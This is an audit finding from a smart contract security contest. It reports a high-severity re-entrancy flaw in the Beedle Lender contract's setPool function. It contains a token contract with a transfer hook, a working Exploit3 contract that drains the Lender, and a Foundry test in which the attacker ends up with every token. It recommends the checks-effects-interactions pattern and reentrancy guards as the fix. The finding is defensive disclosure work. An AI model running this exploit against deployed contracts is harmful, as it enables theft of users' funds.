20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender contract can be drained by re-entrancy in `setPool`

Summary

Tokens allowing reentrant calls on transfer can be drained from the contract.

Vulnerability Details

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:

pragma solidity ^0.8.19;
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract WeirdToken is ERC20 {
constructor(uint256 amount) ERC20("WeirdToken", "WT") {
_mint(msg.sender, amount);
}
// Hook on token transfer
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
if (to != address(0)) {
(bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
}
}
}

This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.

File: Lender.sol
L157: } else if (p.poolBalance < currentBalance) {
// if new balance < current balance then transfer the difference back to the lender
IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can drain contract
p.lender,
currentBalance - p.poolBalance
);
}

https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L159

Impact

POC

An attacker can use the following exploit contract to drain the lender contract:

File: Exploit3.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";
contract Exploit3 {
Lender lender;
Pool pool;
constructor(Lender _lender) {
lender = _lender;
}
function attack(address _loanToken, uint256 _poolBalance) external {
ERC20(_loanToken).approve(address(lender), _poolBalance);
// [1] Create a new pool
Pool memory p = Pool({
lender: address(this),
loanToken: _loanToken,
collateralToken: address(0),
minLoanSize: 10*10**18,
poolBalance: _poolBalance,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(p);
// [2] Update pool with 0 poolBalance
p.poolBalance = 0;
pool = p;
lender.setPool(p);
// [3] Send the funds back to the attacker
ERC20(_loanToken).transfer(msg.sender, ERC20(_loanToken).balanceOf(address(this)));
}
function tokensReceived(address from, address /*to*/, uint256 amount) external {
Pool memory p = pool;
require(msg.sender == p.loanToken, "not collateral token");
if (from == address(lender)) {
uint256 lenderBalance = ERC20(p.loanToken).balanceOf(address(lender));
if (lenderBalance > 0) {
// Re-enter
if (lenderBalance < amount) {
p.poolBalance = amount - lenderBalance;
}
lender.setPool(p);
}
}
}
}

Here are the tests that can be added to Lender.t.sol to illustrate the steps of an attacker:

function test_exploit() public {
// Setup
address attacker = address(0x5);
WeirdToken weirdToken = new WeirdToken(10_500*10**18);
weirdToken.transfer(address(lender), 9_500*10**18);
weirdToken.transfer(address(attacker), 1_000*10**18);
// Before the exploit
assertEq(weirdToken.balanceOf(address(lender)), 9_500*10**18); // Lender contract has 9_500 weirdToken
assertEq(weirdToken.balanceOf(address(attacker)), 1_000*10**18); // Attacker has 1_000 weirdToken
// Exploit starts here
vm.startPrank(attacker);
Exploit3 attackContract = new Exploit3(lender);
weirdToken.transfer(address(attackContract), 1_000*10**18);
attackContract.attack(address(weirdToken), 1_000*10**18);
// After the exploit
assertEq(weirdToken.balanceOf(address(lender)), 0); // Lender contract has been drained
assertEq(weirdToken.balanceOf(address(attacker)), 10_500*10**18); // Attacker stole all the tokens
}

Tools Used

Manual review + Foundry

Recommendations

Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transfering the funds AND use nonReentrant modifiers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.